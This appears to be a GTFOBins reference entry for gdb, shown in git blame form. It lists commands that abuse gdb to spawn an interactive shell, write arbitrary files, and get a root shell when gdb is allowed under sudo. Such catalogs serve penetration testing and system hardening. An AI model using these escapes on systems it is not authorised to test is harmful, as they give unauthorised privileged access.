2018-05-21 21:14:41 +02:00
|
|
|
---
|
2018-05-28 21:50:01 +02:00
|
|
|
description: |
|
|
|
|
GDB may come with embedded Python support, in that case arbitrary code can be
|
|
|
|
executed with the `python` command in the context of the GDB process.
|
|
|
|
|
2018-05-29 19:46:12 +02:00
|
|
|
See the entries of Python [version 2](/gtfobins/python2/) and
|
|
|
|
[version 3](/gtfobins/python3/).
|
2018-05-21 21:14:41 +02:00
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: gdb -nx -ex '!sh' -ex quit
|
2018-05-28 21:24:15 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
2018-08-20 14:35:43 +02:00
|
|
|
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|